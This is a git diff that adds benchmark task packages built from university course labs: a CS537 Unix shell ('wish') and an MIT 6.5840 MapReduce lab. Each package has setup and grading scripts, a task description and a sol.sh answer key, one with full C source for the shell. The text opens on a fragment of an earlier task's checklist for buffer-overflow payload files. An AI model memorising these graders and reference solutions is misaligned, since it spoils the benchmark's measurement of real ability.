(little-endian on the stack). +- You can regenerate raw payloads repeatedly; cleaning files is fine as + long as the final phase*.txt files remain present. + +Submission checklist +-------------------- +- phase1.txt ... phase5.txt exist and are non-empty +- Each file contains only hex bytes (no addresses of lab binaries altered) +- Protected binaries unchanged (checksummed during evaluation) diff --git a/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/compose.yaml b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/compose.yaml new file mode 100644 index 00000000..d2bf4d30 --- /dev/null +++ b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: gcc:12 + command: sleep infinity + working_dir: /workspace + x-init: + - preprocess.sh + x-local: + CFLAGS: "-Wall -Werror -O2" diff --git a/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/config.json b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/config.json new file mode 100644 index 00000000..24e2df45 --- /dev/null +++ b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/config.json @@ -0,0 +1,9 @@ +{ + "instance_id": "cs537-projects-spring-2019__processes_shell", + "course_id": "cs537-projects-spring-2019", + "timeout_minutes": 20, + "tags": ["operating-systems", "processes", "shell", "c"], + "artifacts": [ + "ostep-projects/processes-shell/wish.c" + ] +} diff --git a/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/evaluate.sh b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/evaluate.sh new file mode 100644 index 00000000..c29bad8a --- /dev/null +++ b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/evaluate.sh @@ -0,0 +1,66 @@ +#!/bin/bash +set -e + +echo "=== Evaluation ===" + +cd /workspace/ostep-projects/processes-shell + +echo "Verifying protected files were not modified" +if [ -f /tmp/checksums/protected.sha256 ]; then + sha256sum -c /tmp/checksums/protected.sha256 || { + echo "FAIL: Protected files were modified" + exit 1 + } +fi +echo "All protected files unchanged" + +echo "Running tests (up to 3 attempts to handle timeouts)" + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + # Clean previous build artifacts + rm -f wish *.o 2>/dev/null || true + + echo "Building wish" + if [ -f Makefile ]; then + if timeout 300 make; then + BUILD_SUCCESS=1 + else + BUILD_SUCCESS=0 + fi + else + if timeout 300 gcc -D_GNU_SOURCE -std=gnu11 -Wall -Werror -O2 -o wish *.c; then + BUILD_SUCCESS=1 + else + BUILD_SUCCESS=0 + fi + fi + + if [ $BUILD_SUCCESS -eq 0 ]; then + echo "Build failed or timed out" + if [ $attempt -lt $MAX_ATTEMPTS ]; then + sleep 2 + continue + else + echo "FAIL: Build failed after $MAX_ATTEMPTS attempts" + exit 1 + fi + fi + + echo "Running tests" + if timeout 600 bash test-wish.sh 2>&1 | tee test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + fi + + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Tests failed, retrying..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests failed after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/preprocess.sh b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/preprocess.sh new file mode 100644 index 00000000..cd62bf39 --- /dev/null +++ b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/preprocess.sh @@ -0,0 +1,51 @@ +#!/bin/bash +set -e + +echo "=== Setting up CS537 Processes Shell Project ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning ostep-projects repository" +git clone https://github.com/remzi-arpacidusseau/ostep-projects.git > /dev/null 2>&1 +cd ostep-projects +git checkout 76cff3f89f4bf337af6e02e53a831b7eeb1396df > /dev/null 2>&1 + +echo "Removing git history" +rm -rf .git + +echo "Creating checksums for protected files" +cd processes-shell + +mkdir -p /tmp/checksums +CHECKSUM_FILE=/tmp/checksums/protected.sha256 +: > "$CHECKSUM_FILE" + +PROTECTED_FILES=( + "test-wish.sh" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" >> "$CHECKSUM_FILE" + echo " Protected: $file" + fi +done + +if [ -d tests ]; then + find tests -type f | sort | while IFS= read -r file; do + case "$file" in + "tests/3.err"|"tests/3.out") + continue + ;; + esac + sha256sum "$file" >> "$CHECKSUM_FILE" + echo " Protected: $file" + done +fi + +echo "Setup complete" +exit 0 diff --git a/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/sol.sh b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/sol.sh new file mode 100644 index 00000000..6b38c050 --- /dev/null +++ b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/sol.sh @@ -0,0 +1,331 @@ +#!/bin/bash +set -e + +cd ostep-projects/processes-shell + +cat > wish.c << 'EOF' +#include +#include +#include +#include +#include +#include + +#define MAX_PATHS 100 +#define MAX_ARGS 100 +#define MAX_CMDS 100 + +char error_message[30] = "An error has occurred\n"; +char *paths[MAX_PATHS]; +int num_paths = 0; + +void print_error() { + write(STDERR_FILENO, error_message, strlen(error_message)); +} + +void free_args(char **args) { + if (args == NULL) return; + for (int i = 0; args[i] != NULL; i++) { + free(args[i]); + } + free(args); +} + +void init_paths() { + paths[0] = strdup("/bin"); + num_paths = 1; +} + +void clear_paths() { + for (int i = 0; i < num_paths; i++) { + free(paths[i]); + } + num_paths = 0; +} + +char *find_executable(char *cmd) { + static char path_buf[1024]; + + for (int i = 0; i < num_paths; i++) { + snprintf(path_buf, sizeof(path_buf), "%s/%s", paths[i], cmd); + if (access(path_buf, X_OK) == 0) { + return path_buf; + } + } + return NULL; +} + +int parse_command(char *line, char ***args_out, char **redirect_file) { + *redirect_file = NULL; + *args_out = NULL; + + // Check for redirection + char *redirect_pos = strchr(line, '>'); + if (redirect_pos != NULL) { + *redirect_pos = '\0'; + redirect_pos++; + + // Parse redirect filename + char *token; + char *temp = redirect_pos; + char *filename = NULL; + int file_count = 0; + + while ((token = strsep(&temp, " \t\n")) != NULL) { + if (strlen(token) > 0) { + file_count++; + if (file_count > 1) { + print_error(); + return -1; + } + filename = token; + } + } + + if (filename == NULL) { + print_error(); + return -1; + } + + *redirect_file = strdup(filename); + } + + // Parse command and arguments + char **args = malloc(MAX_ARGS * sizeof(char *)); + int argc = 0; + char *token; + + while ((token = strsep(&line, " \t\n")) != NULL) { + if (strlen(token) > 0) { + args[argc++] = strdup(token); + if (argc >= MAX_ARGS - 1) { + break; + } + } + } + args[argc] = NULL; + + if (argc == 0) { + free(args); + if (*redirect_file) { + // Redirection with no command is an error + free(*redirect_file); + *redirect_file = NULL; + print_error(); + return -1; + } + return 0; + } + + *args_out = args; + return argc; +} + +int execute_builtin(char **args) { + if (strcmp(args[0], "exit") == 0) { + if (args[1] != NULL) { + print_error(); + return 1; + } + exit(0); + } else if (strcmp(args[0], "cd") == 0) { + if (args[1] == NULL || args[2] != NULL) { + print_error(); + return 1; + } + if (chdir(args[1]) != 0) { + print_error(); + return 1; + } + return 1; + } else if (strcmp(args[0], "path") == 0) { + clear_paths(); + for (int i = 1; args[i] != NULL; i++) { + if (num_paths < MAX_PATHS) { + paths[num_paths++] = strdup(args[i]); + } + } + return 1; + } + return 0; +} + +void execute_command(char **args, char *redirect_file) { + if (args == NULL || args[0] == NULL) { + return; + } + + // Check if builtin + if (execute_builtin(args)) { + return; + } + + // Find executable + char *exec_path = find_executable(args[0]); + if (exec_path == NULL) { + print_error(); + return; + } + + pid_t pid = fork(); + if (pid < 0) { + print_error(); + return; + } else if (pid == 0) { + // Child process + if (redirect_file != NULL) { + int fd = open(redirect_file, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + print_error(); + exit(1); + } + dup2(fd, STDOUT_FILENO); + dup2(fd, STDERR_FILENO); + close(fd); + } + + execv(exec_path, args); + print_error(); + exit(1); + } + // Parent - will wait later +} + +void process_line(char *line) { + if (line == NULL) return; + + // Split by '&' for parallel commands + char *commands[MAX_CMDS]; + int num_commands = 0; + char *temp = line; + char *token; + + while ((token = strsep(&temp, "&")) != NULL) { + if (num_commands >= MAX_CMDS) break; + commands[num_commands++] = token; + } + + pid_t pids[MAX_CMDS]; + int pid_count = 0; + + for (int i = 0; i < num_commands; i++) { + char **args; + char *redirect_file; + + int result = parse_command(commands[i], &args, &redirect_file); + + if (result < 0) { + // Error already printed + if (redirect_file) free(redirect_file); + continue; + } + + if (result == 0) { + // Empty command + continue; + } + + // Check if builtin + if (execute_builtin(args)) { + free_args(args); + if (redirect_file) free(redirect_file); + continue; + } + + // Find executable + char *exec_path = find_executable(args[0]); + if (exec_path == NULL) { + print_error(); + free_args(args); + if (redirect_file) free(redirect_file); + continue; + } + + pid_t pid = fork(); + if (pid < 0) { + print_error(); + free_args(args); + if (redirect_file) free(redirect_file); + continue; + } else if (pid == 0) { + // Child process + if (redirect_file != NULL) { + int fd = open(redirect_file, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + print_error(); + exit(1); + } + dup2(fd, STDOUT_FILENO); + dup2(fd, STDERR_FILENO); + close(fd); + } + + execv(exec_path, args); + print_error(); + exit(1); + } else { + // Parent + pids[pid_count++] = pid; + } + + free_args(args); + if (redirect_file) free(redirect_file); + } + + // Wait for all child processes + for (int i = 0; i < pid_count; i++) { + waitpid(pids[i], NULL, 0); + } +} + +void run_interactive() { + char *line = NULL; + size_t len = 0; + + while (1) { + printf("wish> "); + if (getline(&line, &len, stdin) == -1) { + break; + } + process_line(line); + } + + if (line) free(line); +} + +void run_batch(char *filename) { + FILE *fp = fopen(filename, "r"); + if (fp == NULL) { + print_error(); + exit(1); + } + + char *line = NULL; + size_t len = 0; + + while (getline(&line, &len, fp) != -1) { + process_line(line); + } + + if (line) free(line); + fclose(fp); +} + +int main(int argc, char *argv[]) { + init_paths(); + + if (argc == 1) { + // Interactive mode + run_interactive(); + } else if (argc == 2) { + // Batch mode + run_batch(argv[1]); + } else { + print_error(); + exit(1); + } + + clear_paths(); + return 0; +} +EOF diff --git a/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/task.md b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/task.md new file mode 100644 index 00000000..0e48dd4c --- /dev/null +++ b/benchmarks/courselab_bench/data/cs537-projects-spring-2019/task_processes_shell/task.md @@ -0,0 +1,266 @@ + +# Unix Shell + +In this project, you'll build a simple Unix shell. The shell is the heart of +the command-line interface, and thus is central to the Unix/C programming +environment. Mastering use of the shell is necessary to become proficient in +this world; knowing how the shell itself is built is the focus of this +project. + +There are three specific objectives to this assignment: + +* To further familiarize yourself with the Linux programming environment. +* To learn how processes are created, destroyed, and managed. +* To gain exposure to the necessary functionality in shells. + +## Overview + +In this assignment, you will implement a *command line interpreter (CLI)* or, +as it is more commonly known, a *shell*. The shell should operate in this +basic way: when you type in a command (in response to its prompt), the shell +creates a child process that executes the command you entered and then prompts +for more user input when it has finished. + +The shells you implement will be similar to, but simpler than, the one you run +every day in Unix. If you don't know what shell you are running, it's probably +`bash`. One thing you should do on your own time is learn more about your +shell, by reading the man pages or other online materials. + +## Program Specifications + +### Basic Shell: `wish` + +Your basic shell, called `wish` (short for Wisconsin Shell, naturally), is +basically an interactive loop: it repeatedly prints a prompt `wish> ` (note +the space after the greater-than sign), parses the input, executes the command +specified on that line of input, and waits for the command to finish. This is +repeated until the user types `exit`. The name of your final executable +should be `wish`. + +The shell can be invoked with either no arguments or a single argument; +anything else is an error. Here is the no-argument way: + +``` +prompt> ./wish +wish> +``` + +At this point, `wish` is running, and ready to accept commands. Type away! + +The mode above is called *interactive* mode, and allows the user to type +commands directly. The shell also supports a *batch mode*, which instead reads +input from a batch file and executes commands from therein. Here is how you +run the shell with a batch file named `batch.txt`: + +``` +prompt> ./wish batch.txt +``` + +One difference between batch and interactive modes: in interactive mode, a +prompt is printed (`wish> `). In batch mode, no prompt should be printed. + +You should structure your shell such that it creates a process for each new +command (the exception are *built-in commands*, discussed below). Your basic +shell should be able to parse a command and run the program corresponding to +the command. For example, if the user types `ls -la /tmp`, your shell should +run the program `/bin/ls` with the given arguments `-la` and `/tmp` (how does +the shell know to run `/bin/ls`? It's something called the shell **path**; +more on this below). + +## Structure + +### Basic Shell + +The shell is very simple (conceptually): it runs in a while loop, repeatedly +asking for input to tell it what command to execute. It then executes that +command. The loop continues indefinitely, until the user types the built-in +command `exit`, at which point it exits. That's it! + +For reading lines of input, you should use `getline()`. This allows you to +obtain arbitrarily long input lines with ease. Generally, the shell will be +run in *interactive mode*, where the user types a command (one at a time) and +the shell acts on it. However, your shell will also support *batch mode*, in +which the shell is given an input file of commands; in this case, the shell +should not read user input (from `stdin`) but rather from this file to get the +commands to execute. + +In either mode, if you hit the end-of-file marker (EOF), you should call +`exit(0)` and exit gracefully. + +To parse the input line into constituent pieces, you might want to use +`strsep()`. Read the man page (carefully) for more details. + +To execute commands, look into `fork()`, `exec()`, and `wait()/waitpid()`. +See the man pages for these functions, and also read the relevant [book +chapter](http://www.ostep.org/cpu-api.pdf) for a brief overview. + +You will note that there are a variety of commands in the `exec` family; for +this project, you must use `execv`. You should **not** use the `system()` +library function call to run a command. Remember that if `execv()` is +successful, it will not return; if it does return, there was an error (e.g., +the command does not exist). The most challenging part is getting the +arguments correctly specified. + +### Paths + +In our example above, the user typed `ls` but the shell knew to execute the +program `/bin/ls`. How does your shell know this? + +It turns out that the user must specify a **path** variable to describe the +set of directories to search for executables; the set of directories that +comprise the path are sometimes called the *search path* of the shell. The +path variable contains the list of all directories to search, in order, when +the user types a command. + +**Important:** Note that the shell itself does not *implement* `ls` or other +commands (except built-ins). All it does is find those executables in one of +the directories specified by `path` and create a new process to run them. + +To check if a particular file exists in a directory and is executable, +consider the `access()` system call. For example, when the user types `ls`, +and path is set to include both `/bin` and `/usr/bin`, try `access("/bin/ls", +X_OK)`. If that fails, try "/usr/bin/ls". If that fails too, it is an error. + +Your initial shell path should contain one directory: `/bin` + +Note: Most shells allow you to specify a binary specifically without using a +search path, using either **absolute paths** or **relative paths**. For +example, a user could type the **absolute path** `/bin/ls` and execute the +`ls` binary without a search path being needed. A user could also specify a +**relative path** which starts with the current working directory and +specifies the executable directly, e.g., `./main`. In this project, you **do +not** have to worry about these features. + +### Built-in Commands + +Whenever your shell accepts a command, it should check whether the command is +a **built-in command** or not. If it is, it should not be executed like other +programs. Instead, your shell will invoke your implementation of the built-in +command. For example, to implement the `exit` built-in command, you simply +call `exit(0);` in your wish source code, which then will exit the shell. + +In this project, you should implement `exit`, `cd`, and `path` as built-in +commands. + +* `exit`: When the user types `exit`, your shell should simply call the `exit` + system call with 0 as a parameter. It is an error to pass any arguments to + `exit`. + +* `cd`: `cd` always take one argument (0 or >1 args should be signaled as an +error). To change directories, use the `chdir()` system call with the argument +supplied by the user; if `chdir` fails, that is also an error. + +* `path`: The `path` command takes 0 or more arguments, with each argument + separated by whitespace from the others. A typical usage would be like this: + `wish> path /bin /usr/bin`, which would add `/bin` and `/usr/bin` to the + search path of the shell. If the user sets path to be empty, then the shell + should not be able to run any programs (except built-in commands). The + `path` command always overwrites the old path with the newly specified + path. + +### Redirection + +Many times, a shell user prefers to send the output of a program to a file +rather than to the screen. Usually, a shell provides this nice feature with +the `>` character. Formally this is named as redirection of standard +output. To make your shell users happy, your shell should also include this +feature, but with a slight twist (explained below). + +For example, if a user types `ls -la /tmp > output`, nothing should be printed +on the screen. Instead, the standard output of the `ls` program should be + rerouted to the file `output`. In addition, the standard error output of + the program should be rerouted to the file `output` (the twist is that this + is a little different than standard redirection). + +If the `output` file exists before you run your program, you should simply +overwrite it (after truncating it). + +The exact format of redirection is a command (and possibly some arguments) +followed by the redirection symbol followed by a filename. Multiple +redirection operators or multiple files to the right of the redirection sign +are errors. + +Note: don't worry about redirection for built-in commands (e.g., we will +not test what happens when you type `path /bin > file`). + +### Parallel Commands + +Your shell will also allow the user to launch parallel commands. This is +accomplished with the ampersand operator as follows: + +``` +wish> cmd1 & cmd2 args1 args2 & cmd3 args1 +``` + +In this case, instead of running `cmd1` and then waiting for it to finish, +your shell should run `cmd1`, `cmd2`, and `cmd3` (each with whatever arguments +the user has passed to it) in parallel, *before* waiting for any of them to +complete. + +Then, after starting all such processes, you must make sure to use `wait()` +(or `waitpid`) to wait for them to complete. After all processes are done, +return control to the user as usual (or, if in batch mode, move on to the next +line). + + +### Program Errors + +**The one and only error message.** You should print this one and only error +message whenever you encounter an error of any type: + +``` + char error_message[30] = "An error has occurred\n"; + write(STDERR_FILENO, error_message, strlen(error_message)); +``` + +The error message should be printed to stderr (standard error), as shown +above. + +After most errors, your shell simply *continue processing* after +printing the one and only error message. However, if the shell is +invoked with more than one file, or if the shell is passed a bad batch +file, it should exit by calling `exit(1)`. + +There is a difference between errors that your shell catches and those that +the program catches. Your shell should catch all the syntax errors specified +in this project page. If the syntax of the command looks perfect, you simply +run the specified program. If there are any program-related errors (e.g., +invalid arguments to `ls` when you run it, for example), the shell does not +have to worry about that (rather, the program will print its own error +messages and exit). + + +### Miscellaneous Hints + +Remember to get the **basic functionality** of your shell working before +worrying about all of the error conditions and end cases. For example, first +get a single command running (probably first a command with no arguments, such +as `ls`). + +Next, add built-in commands. Then, try working on redirection. Finally, think +about parallel commands. Each of these requires a little more effort on +parsing, but each should not be too hard to implement. + +At some point, you should make sure your code is robust to white space of +various kinds, including spaces (` `) and tabs (`\t`). In general, the user +should be able to put variable amounts of white space before and after +commands, arguments, and various operators; however, the operators +(redirection and parallel commands) do not require whitespace. + +Check the return codes of all system calls from the very beginning of your +work. This will often catch errors in how you are invoking these new system +calls. It's also just good programming sense. + +Beat up your own code! You are the best (and in this case, the only) tester of +this code. Throw lots of different inputs at it and make sure the shell +behaves well. Good code comes through testing; you must run many different +tests to make sure things work as desired. Don't be gentle -- other users +certainly won't be. + +Finally, keep versions of your code. More advanced programmers will use a +source control system such as git. Minimally, when you get a piece of +functionality working, make a copy of your .c file (perhaps a subdirectory +with a version number, such as v1, v2, etc.). By keeping older, working +versions around, you can comfortably work on adding new functionality, safe in +the knowledge you can always go back to an older, working version if need be. + diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/config.json new file mode 100644 index 00000000..15330a90 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/config.json @@ -0,0 +1,12 @@ +{ + "instance_id": "mit_6_5840_2024__mapreduce", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "mapreduce", "concurrency"], + "artifacts": [ + "src/mr/coordinator.go", + "src/mr/rpc.go", + "src/mr/worker.go", + "src/main/test_output.txt" + ] +} \ No newline at end of file diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/evaluate.sh new file mode 100755 index 00000000..33c7a66e --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/evaluate.sh @@ -0,0 +1,54 @@ +#!/bin/bash +set -e + +echo "=== Evaluating MapReduce Lab ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "main/mrcoordinator.go" + "main/mrworker.go" + "main/mrsequential.go" + "main/test-mr.sh" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running MapReduce tests (up to 3 attempts to handle timeouts)" +cd main + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if timeout 600 bash test-mr.sh 2>&1 | tee test_output.txt; then + if grep -q 'PASSED ALL TESTS' test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f mr-out* mr-worker* mr-coordinator* test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/preprocess.sh new file mode 100755 index 00000000..bb01ccf4 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/preprocess.sh @@ -0,0 +1,39 @@ +#!/bin/bash +set -e + +echo "=== Setting up MapReduce Lab ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "main/mrcoordinator.go" + "main/mrworker.go" + "main/mrsequential.go" + "main/test-mr.sh" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/sol.sh new file mode 100644 index 00000000..6b2a15bb --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/sol.sh @@ -0,0 +1,14 @@ +#!/bin/bash +set -e + +# Clone the reference solution repository +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +# Copy the solution files to the task directory +cp /tmp/mit-solution/src/mr/coordinator.go src/mr/coordinator.go +cp /tmp/mit-solution/src/mr/rpc.go src/mr/rpc.go +cp /tmp/mit-solution/src/mr/worker.go src/mr/worker.go + +# Clean up +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/task.md new file mode 100644 index 00000000..da4c1d49 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_1_mapreduce/task.md @@ -0,0 +1,179 @@ +# MapReduce + +## Introduction + +Build a MapReduce system. You'll implement a worker process that calls application Map and Reduce functions and handles reading and writing files, and a coordinator process that hands out tasks to workers and copes with failed workers. + +## Getting Started + +We supply you with a simple sequential mapreduce implementation in `src/main/mrsequential.go`. It runs the maps and reduces one at a time, in a single process. We also provide you with a couple of MapReduce applications: word-count in `mrapps/wc.go`, and a text indexer in `mrapps/indexer.go`. You can run word count sequentially as follows: + +``` +$ cd src/main +$ go build -buildmode=plugin ../mrapps/wc.go +$ rm mr-out* +$ go run mrsequential.go wc.so pg*.txt +$ more mr-out-0 +A 509 +ABOUT 2 +ACT 8 +... +``` + +`mrsequential.go` leaves its output in the file `mr-out-0`. The input is from the text files named `pg-xxx.txt`. + +Feel free to borrow code from `mrsequential.go`. You should also have a look at `mrapps/wc.go` to see what MapReduce application code looks like. + +## Your Task + +Your job is to implement a distributed MapReduce, consisting of two programs, the coordinator and the worker. There will be just one coordinator process, and one or more worker processes executing in parallel. In a real system the workers would run on a bunch of different machines, but for this lab you'll run them all on a single machine. The workers will talk to the coordinator via RPC. Each worker process will, in a loop, ask the coordinator for a task, read the task's input from one or more files, execute the task, write the task's output to one or more files, and again ask the coordinator for a new task. The coordinator should notice if a worker hasn't completed its task in a reasonable amount of time (for this lab, use ten seconds), and give the same task to a different worker. + +We have given you a little code to start you off. The "main" routines for the coordinator and worker are in `main/mrcoordinator.go` and `main/mrworker.go`; don't change these files. You should put your implementation in `mr/coordinator.go`, `mr/worker.go`, and `mr/rpc.go`. + +Here's how to run your code on the word-count MapReduce application. First, make sure the word-count plugin is freshly built: + +``` +go build -buildmode=plugin ../mrapps/wc.go +``` + +In the `main` directory, run the coordinator. + +``` +rm mr-out* +go run mrcoordinator.go pg-*.txt +``` + +The `pg-*.txt` arguments to `mrcoordinator.go` are the input files; each file corresponds to one "split", and is the input to one Map task. + +In one or more other windows, run some workers: + +``` +go run mrworker.go wc.so +``` + +When the workers and coordinator have finished, look at the output in `mr-out-*`. When you've completed the lab, the sorted union of the output files should match the sequential output, like this: + +``` +$ cat mr-out-* | sort | more +A 509 +ABOUT 2 +ACT 8 +... +``` + +We supply you with a test script in `main/test-mr.sh`. The tests check that the `wc` and `indexer` MapReduce applications produce the correct output when given the `pg-xxx.txt` files as input. The tests also check that your implementation runs the Map and Reduce tasks in parallel, and that your implementation recovers from workers that crash while running tasks. + +If you run the test script now, it will hang because the coordinator never finishes: + +``` +$ cd src/main +$ bash test-mr.sh +*** Starting wc test. +``` + +You can change `ret := false` to true in the Done function in `mr/coordinator.go` so that the coordinator exits immediately. Then: + +``` +$ bash test-mr.sh +*** Starting wc test. +sort: No such file or directory +cmp: EOF on mr-wc-all +--- wc output is not the same as mr-correct-wc.txt +--- wc test: FAIL +$ +``` + +The test script expects to see output in files named `mr-out-X`, one for each reduce task. The empty implementations of `mr/coordinator.go` and `mr/worker.go` don't produce those files (or do much of anything else), so the test fails. + +When you've finished, the test script output should look like this: + +``` +$ bash test-mr.sh +*** Starting wc test. +--- wc test: PASS +*** Starting indexer test. +--- indexer test: PASS +*** Starting map parallelism test. +--- map parallelism test: PASS +*** Starting reduce parallelism test. +--- reduce parallelism test: PASS +*** Starting job count test. +--- job count test: PASS +*** Starting early exit test. +--- early exit test: PASS +*** Starting crash test. +--- crash test: PASS +*** PASSED ALL TESTS +$ +``` + +## A few rules + +- The map phase should divide the intermediate keys into buckets for `nReduce` reduce tasks, where `nReduce` is the number of reduce tasks -- the argument that `main/mrcoordinator.go` passes to `MakeCoordinator()`. Each mapper should create `nReduce` intermediate files for consumption by the reduce tasks. +- The worker implementation should put the output of the X'th reduce task in the file `mr-out-X`. +- A `mr-out-X` file should contain one line per Reduce function output. The line should be generated with the Go `"%v %v"` format, called with the key and value. Have a look in `main/mrsequential.go` for the line commented "this is the correct format". The test script will fail if your implementation deviates too much from this format. +- You can modify `mr/worker.go`, `mr/coordinator.go`, and `mr/rpc.go`. You can temporarily modify other files for testing, but make sure your code works with the original versions; we'll test with the original versions. +- The worker should put intermediate Map output in files in the current directory, where your worker can later read them as input to Reduce tasks. +- `main/mrcoordinator.go` expects `mr/coordinator.go` to implement a `Done()` method that returns true when the MapReduce job is completely finished; at that point, `mrcoordinator.go` will exit. +- When the job is completely finished, the worker processes should exit. A simple way to implement this is to use the return value from `call()`: if the worker fails to contact the coordinator, it can assume that the coordinator has exited because the job is done, so the worker can terminate too. Depending on your design, you might also find it helpful to have a "please exit" pseudo-task that the coordinator can give to workers. + +## Hints + +- One way to get started is to modify `mr/worker.go`'s `Worker()` to send an RPC to the coordinator asking for a task. Then modify the coordinator to respond with the file name of an as-yet-unstarted map task. Then modify the worker to read that file and call the application Map function, as in `mrsequential.go`. +- The application Map and Reduce functions are loaded at run-time using the Go plugin package, from files whose names end in `.so`. +- If you change anything in the `mr/` directory, you will probably have to re-build any MapReduce plugins you use, with something like `go build -buildmode=plugin ../mrapps/wc.go` +- This lab relies on the workers sharing a file system. That's straightforward when all workers run on the same machine, but would require a global filesystem like GFS if the workers ran on different machines. +- A reasonable naming convention for intermediate files is `mr-X-Y`, where X is the Map task number, and Y is the reduce task number. +- The worker's map task code will need a way to store intermediate key/value pairs in files in a way that can be correctly read back during reduce tasks. One possibility is to use Go's encoding/json package. To write key/value pairs in JSON format to an open file: + + ``` + enc := json.NewEncoder(file) + for _, kv ... { + err := enc.Encode(&kv) + ``` + + and to read such a file back: + + ``` + dec := json.NewDecoder(file) + for { + var kv KeyValue + if err := dec.Decode(&kv); err != nil { + break + } + kva = append(kva, kv) + } + ``` + +- The map part of your worker can use the `ihash(key)` function (in `worker.go`) to pick the reduce task for a given key. +- You can steal some code from `mrsequential.go` for reading Map input files, for sorting intermediate key/value pairs between the Map and Reduce, and for storing Reduce output in files. +- The coordinator, as an RPC server, will be concurrent; don't forget to lock shared data. +- Use Go's race detector, with `go run -race`. 